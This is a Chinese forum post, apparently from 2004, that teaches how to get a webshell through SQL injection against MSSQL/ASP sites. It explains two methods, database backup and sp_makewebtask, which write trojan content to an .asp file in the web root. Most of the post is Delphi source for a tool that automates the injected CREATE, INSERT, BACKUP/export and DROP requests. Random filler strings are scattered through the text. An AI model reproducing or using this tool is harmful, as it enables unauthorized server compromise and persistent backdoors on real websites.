QQ登录

只需要一步,快速开始

 注册地址  找回密码
查看: 3059|回复: 0
打印 上一主题 下一主题

SQL注入得到WEBSHELL

[复制链接]
字体大小: 正常 放大
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

跳转到指定楼层
1#
发表于 2004-11-21 00:13 |只看该作者 |正序浏览
|招呼Ta 关注Ta
<>一.通过SQL注入得到WEBSHELL的原理: ! [9 D3 `% E4 v$ W7 F4 C+ u
N.E.V.E.R的方法:利用数据库备份得到WEBSHELL。创建一个表,在表中建一个字段用来保存木马数据。然后利用MSSQL导出库文件的办法把整个数据导出来,最后再删除新建的表。 + u4 l4 \$ Y3 l' c% J- V# ^
分析: N.E.V.E.R利用了MSSQL的备份数据库功能。把数据导出来,设想数据库中有&lt;%%&gt;之类的ASP标实符,导出文件,文件名以.ASP的形式保存。然后文件又保存在WEB的路径下。那么这个导出的ASP文件是不是要去解释&lt;%%&gt; 之内的语句呢?如果数据库中有的表中有&lt;%%&gt;标实符,并且这之中有错误,那么我们导出来生成的ASP文件也会有误。不过,这种机会也不太大。 & W: R- q7 X: _; A. h2 J
再来看看CZY的方法吧。
. w( {) i# ?' u# u  ]CZY的方法:前面的和N.E.V.E.R的方法基本上差不多。只是后面用到了扩展存储过程——sp_makewebtask。这个扩展存储过程的作用就是:可以把MSSQL数据库中的某个表中的记录导出来,以文件的方法保存起来。这种方法就不会出现什么问题原因在于:我们只去读表中的某个字段中的值。把字段的信息导出来生成文件。这个字段中的值都是我们刚加上的。自己在加入数据的时候,先调试一下,没有问题在加入进去,导出来就当然没有问题了。 ! Q- l5 M7 e( j0 Z: H: v
以上两位的方法,我都手工测试过。利用SQL注入漏洞,建表,向表中加数据,然后再导出数据,再删除表。都是利用的SQL语句。这里我就不多说了,大家可以看本期的文章。 . j6 }) v* ^! m' O
二.利用DELPHI去实现功能的前言 # L8 G- a6 J3 c5 V! _( s& _) Z4 @
原理都分析过了。我们怎么利用DELPHI来实现他们的手工操作呢?其实方法是非常简单的。DELPHI提供了一个NMHTTP控件。我们利用这个控件就可以向某个特定的URL提交参数。然后实现我们的自动注射功能。我马上要为大家讲解的这个程序,有一个特点。也可以说成是一个缺陷吧。程序不去自动猜解WEB的绝对路径。程序不去判断当前连接SQL数据库的当前账号的权限。我为什么要这么做?因为得到这两者用SQL注入是非常难得到的。所以,我们程序发送命令就不会考虑太多。成不成功你执行完自己去看看生成没有就OK了。
' f6 y8 t1 ]( s  C# Q% Q$ v4 k
& d  h! ~7 }; U6 S* V( E3 d# s" z三.如何利用DELPHI得到WEBSHELL。
6 ?& z, T! x3 L0 j0 ?( z3 G程序中用到的值。我们这里来看看有哪些:URL路径,远程WEB绝对路径(通过其他方法得到,你一定有办法的) 采用什么方法去得到WEBSHELL(也就是两位的方法,你选哪一种)。我们同时要求点击一个按纽开始执行命令,和点击一个按纽来终止命今。最后就是新建的表的名称,以及表的字段名称,再次就是字段的类型。前面的我们在程序中放上输入,选择之类的控件就行了。后面的我们设一个选项按纽点按纽弹出相应设置。再把这些相应的设置用一个RECORD来保存。: _. o* G9 u% T: F' z- v9 T+ r! H
首先,我们在DIT控件。名称分别是:UrlET //URL路径的输入框、ShellPathET //远程木马的位置、CustomBdoorET//自定义木马的位置。再放两个RadioButton用来选择采用什么方式获取WEBSHELL。CAPTION分别取名为: BackUP DataBase 和 WEB作业。然后再放三个SpeedButtion按纽。名称分别是:设置,开始,停止, 最后再放一个MEMO控件。来显示当前添加的信息。到此界面上的工作就做完了。界面如图:
, F- d' O9 e# T3 @9 z$ V. J, Y' e8 @* J9 p6 K9 R9 ]* u

( Z$ ]  V* Y  W* g: w! U1 W! [! e; P  ^- ]) O* O" a2 w% E7 E
现在来写程序了。 & C$ _* V9 a% K3 l0 Z
我们首先定义一个RECORD。
$ ^) \! W& H' H1 o5 C如下:
2 ~6 i( x) ~0 \) J% i/ k/ Z# HType 2 [6 s! I1 l6 b
SetOption = Record
- h+ ]. Z8 z) c* i6 pTableName : String; //用来保存要创建的表名. 1 m7 |! u" x* ]; I
FieldName : String; //用来保存要创建的字段名. ) E+ z  N6 D4 g, ?/ E* {1 a) w- s
FiledType : String; //用来保存创建的字段名类型. ; Q8 W+ K4 t9 ^. c6 |
End;
" N5 K) `- d% D. p! H9 rFiledType字段类型的值是以下类型的一种:
' X8 t+ G7 n  o, n+ WBigint binary bit char datetime decimal float image int money nchar ntext numeric nvarchar real smalldatetime smallint
# S; K9 F1 X& W; T" g8 f! c. nSmallmoney sql_variant text timestamp tinyint uniqueidentifier varbinary varchar 这些都是MSSQL字段类型值.
# z. l. }, O) V0 b0 S3 ^5 q再定义一个全局变量: / ~% v/ o, w: ?
Var
3 b! U# H( M* ~ISStop : Boolean; //用来判断用户是否按下了停止按纽.
6 @/ ~8 g$ }7 g; V3 j好了。在表单创建的过程中,我们为RECORD记录输入默认值. + Z/ ~1 w4 U9 J, q3 c$ M
代码如下: - U8 ?5 L$ Z4 q9 N
procedure TMainForm.FormCreate(Sender: TObject);
$ ?5 {6 |* J  Nbegin   `6 ^  ^2 ?; n& B  ?
sOption.TableName :='cyfd' $ F( G$ U# e* x
sOption.FieldName :='gmemo'
/ V% w, f0 Q- tsOption.FiledType :='text' 1 Q+ Y9 B/ t1 }) H
end;
& \3 q8 U" _4 e  W+ t现在我们添加开始执行命令的代码。 8 S% n( P$ p- C* V
先定义BDoorList 为TstringList。主要目的就是把木马的内容加进来.
/ [$ t" r, E( V7 ]& ?& ?创建两个变量来保存urlET.和ShellPathET的值.方便程序简化调用.
1 F* g: W3 I/ H& W0 r; ?6 r! y* g在程序开始执行前,我们得先检查一下用户的输入
6 w) Q- ?3 m) D. r) i定义一个Checkinput函数. % r8 q* t: ~' D6 S2 C3 ~5 m
如下: - Y$ D$ M, y& z' ?* k
Function CheckInput : Boolean; & X/ ~$ q( M2 M' U) q0 T
Begin $ t: P" o9 P% G1 }$ T! Q) p; F
Result := False;
6 b  }2 n- Y4 ?0 }+ A, j* Mif Trim(urlet.Text) = '' then
9 d$ g  y* b6 @( ~. SBegin 9 t, I- u. e, c4 W; |
Application.MessageBox('请输入URL地址!','提示',mb_ok+mb_iconinformation); ; w( d+ S) N' T% z. L3 s" p5 F5 E
Exit;
; O$ B0 @$ n9 L$ AEnd;
3 o, f" o8 ?. V+ o; s* B9 t" Jif Trim(ShellPathET.Text) = '' then
& `1 A% c& }$ r0 `' KBegin
) R0 T% }1 r& C( o$ y& uApplication.MessageBox('请输入文件保存地址!','提示',mb_ok+mb_iconinformation);
1 d; Y! N8 x8 A7 f, Q0 b/ ~Exit; ) }) f% f! P. E+ y  H
End;
; B" A) R- O2 b; AIF DefBDoor.Checked then 8 O6 {: w+ x* M" X; n
Begin 7 D. z9 J# t6 v4 P1 A8 M, Q
if Not FileExists(extractfilepath(Application.ExeName)+'默认木马.txt') then 4 s0 c/ L+ i$ D
Begin 4 |+ }8 D: u& M6 n1 R) N7 m
Application.MessageBox('没有找到 [默认木马.txt] 文件!','提示',mb_ok+mb_iconinformation);
) I! ^9 Z6 v, ^" D9 pExit;
+ U: _/ e( C3 o, x0 r0 d: bEnd; / C" [; }, K' }# F, }; [
End
% c+ d% U* Z4 Q% N$ j* h& VElse
( b; Z: E8 Y7 y5 pif Not FileExists(CustomBdoorET.Text) then . ?9 w1 i2 m+ \* m: k" k& j0 M) \
Begin ! S) b- r6 n- y6 @" R- [
Application.MessageBox('没有找到所选的木马文件!','提示',mb_ok+mb_iconinformation);
) p0 b# X5 Q" h0 O  d& J/ {! t+ YExit; % G7 \; A+ M/ Q9 v, y! w' f
End; " P% Z/ d7 K- g" Z2 F2 h! p
Result := True;
" b: P9 a/ U- R" h) L) l9 X8 [End; ) ?$ E" ?! @) K: g
在最开始加入: 8 V7 y+ A0 P2 l0 {- G+ Z
IF Not CheckInput then Exit; //如果输入不合法就退出过程.
7 M7 I4 C' A: \0 P% V好了,如果用户输入没什么错,我们就来下面的代码。
  Y4 \- l; A% m! d" k: T4 z- c& n' F首先我们把IsStop设为假。创建BdoorList。
+ u9 ^2 ^2 y- m" B, _0 `* nBDoorList := TstringList.Create;
/ O/ Z  x( x# t" Q9 E再加木马内容到BDoorlist.
5 i: R, N9 S. N0 O5 B5 [BDoorList.LoadFromFile(CustomBdoorET.text); 1 [# h; D9 q5 b% d3 k
好了,在这里我还要给大家说一下:用NMHTTP提交数据的时候.要把输入的一些特别符号转达成编码。我们这里要把空格和%符号替换成相应的编码分别是:%20和%25,不然.程序加不进数据。
! t8 c) h/ a* g: x* @6 T* O3 ]代码如下:
8 u! G4 r1 n' ~. V' U  w6 [" \; m5 TBDoorList.Text:=StringReplace(BDoorList.Text,'%','%25',[rfReplaceAll]); 0 V! g; Z, n% V2 P& b
BDoorList.Text:=StringReplace(BDoorList.Text,' ','%20',[rfReplaceAll]);
5 \' x6 H- {$ D2 W接下来.我们就提交建表的功能了.
  Y; t1 z/ {1 TMemo.Lines.Add('建表...');
2 l% e" \0 K+ ]1 gMemo.Lines.Add(''); NMHttp.Get(Url+'CREATE%20TABLE%20[dbo].['+sOption.TableName+']%20(['+sOption.FieldName+']%20['+sOption.FiledType+']);');
- p: H, ~, k0 |8 r; t' v这样我们就创建了一个表。然后.我们向表中加记录: 8 r* u! `: k% z7 W- C
代码如下:
& j, A3 Y' G2 V, M* x+ m/ tMemo.Lines.Add('加数据...'); 3 q( k" ~; J$ i& L: @1 @5 q
Memo.Lines.Add(''); & o; Y- W! V4 h
For i:=0 to BDoorList.Count-1 do //这里用一个循环把木马的内容加进表中去.
* c4 Y5 W* o4 Q. X/ ~2 B/ zBegin
3 f! g3 o( ?: uIF IsStop then //这里如果点了停止按纽程序将终止任务.
% F6 L! T, ~6 k8 u4 @, U( EBegin " H0 U3 q2 T$ u) ^
BDoorList.Free;
9 F) f" `. `( u$ y) ?" dExit; 4 I: r, z4 t; V# J$ O) V9 A
End; NMhttp.Get(Url+'Insert%20into%20'+sOption.TableName+'%20('+sOption.FieldName+')%20values%20('''+BDoorList.Strings+''');'); ( h8 Q$ f0 }' i3 B) H: c
Memo.Lines.Add('Add Line '+Inttostr(i+1));
% s% K5 g$ i; m& |0 ~% g# ]End;
1 I' J+ {6 @- y. M% z现在就是导出数据生成木马了. % X- p0 j' A- @, D2 R4 P
Memo.Lines.Add('导出数据...');
/ W# h8 b8 E& p2 B% lMemo.Lines.Add('');
: I' U$ J  |9 m7 Q$ BIF BKData.Checked then //如果选中采用备份数据就执行下面的命令.   w6 u; O5 I( |. ]4 p
NMhttp.Get(Url+'declare%20@a%20sysname;select%20@a=db_name();backup%20database%20@a%20to%20disk='''+ShellPath+'''') / I+ k1 r3 W2 U' M' ?
Else //如果是用WEB作业的形式. NMhttp.Get(Url+'EXECUTE%20sp_makewebtask%20@outputfile='''+ShellPath+''',@query='''+'select%20'+sOption.FieldName+'%20from%20'+sOption.TableName+'''');
3 `- D' v6 l) k* q; @6 [* I1 Z我们再删除刚建的表。NMHttp.Get(Url+'drop%20TABLE%20[dbo].['+sOption.TableName+'];'); ! b  z! @  t+ ]$ ]- N7 e
这样我们的任务就完成了。下面来释放变量.
2 M$ c  c' ~2 `+ K# n6 jBDoorList.Free;
) e$ q' {% F" P* M- ~再来向停止按纽中添加点击事件: ( ]. @5 K! f% L, K" O
一行代码就行了:IsStop := True; + _% d4 s  i' W3 I) A6 b* R
到这里主表单的内容基本上完成了。现在我们来看设置表单中怎么来设置.其实非常简单.主表单中已经定义了一个RECORD.我们只需要将用户输入的新值,再次赋给RECORD就行了。
8 T" K, l- W* u7 b+ s! `2 w设置表单中先引用主表单.然后在界面中添加二个EDIT控件: 3 V2 Y9 e3 O% v
第一个名称为:TableNameET //保用户输入的存临时表 9 D  e1 c' z4 G5 d! q7 k2 S% q
第二个名称为:FieldNameET //用来保存用户输入的字段名.
# k; B" z! t! E$ `( _3 |+ i( H再添加一个Combobox //用来保存用户所选的字段类型值. ! |! o3 T$ h2 z2 I
名称:FieldTypeCombox 7 p' ?7 q) `5 u* W# }0 C
OK.界面如下:
- e" `0 `$ d( W1 V$ _! l3 L
4 H' x7 O9 s& ]* R0 `( v代码如下:
- C& `0 C3 L5 C5 K! j$ q; P定义一个过程,主表单好调用这个设置。
/ g& c# S9 w# L, r7 OProcedure ShowSet;
) E! g: q7 Y$ W- a; [7 N8 N" ]% R. SBegin 7 e/ s) Z1 a) u& `7 |' t, P8 O
Application.CreateForm(TSetForm,SetForm); - w* T% ]6 K- z; V: |; {: Z8 w. `
With SetForm do
0 [) b9 a$ H( C7 }Begin $ i, {& d6 S8 Y  x2 q3 `7 c
TableNameET.Text := sOption.TableName; - I0 d0 K+ D" U" @% W
FieldNameET.Text := sOption.FieldName; 1 h. h8 _; F9 F$ G$ I
FieldTypeCombox.ItemIndex := FieldTypeCombox.Items.IndexOf(sOption.FiledType); 8 `9 Q/ ]. G3 M1 S" x& q
End;
3 R+ N0 ]6 z9 J- ^, @% NSetForm.ShowModal;
* {+ s6 p5 e  g- }" X6 k; @SetForm.Free;
9 a+ \1 z4 S; ?% P1 a) Q% N" CEnd; * [9 I8 A+ t& c7 {' O7 ^( Q
在主表单中设置的点击事件中添加上showset过程就行了。
5 `$ ?* _" Y1 P! O下面就是点击确定的代码了。
# g7 H3 e( i  @# ^8 O2 [) `, M! bIF CheckInput then
4 g" m/ W! B. q$ f% e% y! ?# Z% R6 {/ _Begin . Z6 y4 `& T* Y6 X- X) g
sOption.TableName := Trim(TableNameET.Text); //把用户的输入赋给RECORD.
5 t5 X# `. s1 ^sOption.FieldName := Trim(FieldNameET.Text); 6 r* U: `/ m1 o& h4 k# I9 Z- ]0 T2 y+ G
sOption.FiledType := FieldTypeCombox.Text;
& n) U6 [) W* m, x* b8 j: @Close; - ?5 Q0 ^6 y8 R7 x
End; 3 I4 F/ _+ F9 y+ L# a% i. s5 i0 D
这里又有一个CheckInput主要就是检查用户输入的值是不是合法。 ( O6 M6 U! O: |6 |+ F
代码如下: ! s' e" u- t, ]1 H9 {
Function CheckInput : Boolean;
, q7 ^% h: w, W6 eBegin
/ n: b. V+ ?, FResult := False; $ a2 Z1 i$ G4 }2 z" ]' V
IF Trim(TableNameET.Text)='' then 4 C+ ?9 Q/ B* x: h. g/ y( I# ]0 ]
Begin # G  }: _' \1 j5 q. {
Application.MessageBox('请输入临时表名!','提示',mb_ok+mb_iconinformation); 3 J# D5 k- D2 @/ ^* n
Exit;
+ Q) L9 X  ?7 O8 lEnd;
8 b% m, R2 k% ^IF Trim(FieldNameET.Text)='' then / a; @& G2 T) ?* t
Begin 1 d$ L( l$ T. Z: d* O5 r
Application.MessageBox('请输入字段名!','提示',mb_ok+mb_iconinformation); . X0 a8 [" ^, w$ _& ]
Exit; 7 H9 J, n: z- r
End; 6 g# U7 B; m+ ~& X3 Z+ }/ V
Result := True; 3 C  o4 k: W  w6 j/ O/ ?' A
End; % h/ Z3 }# ^2 i, z$ X4 \$ `$ s
到这里程序就完了。</P>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-14 02:11 , Processed in 0.359866 second(s), 52 queries .

回顶部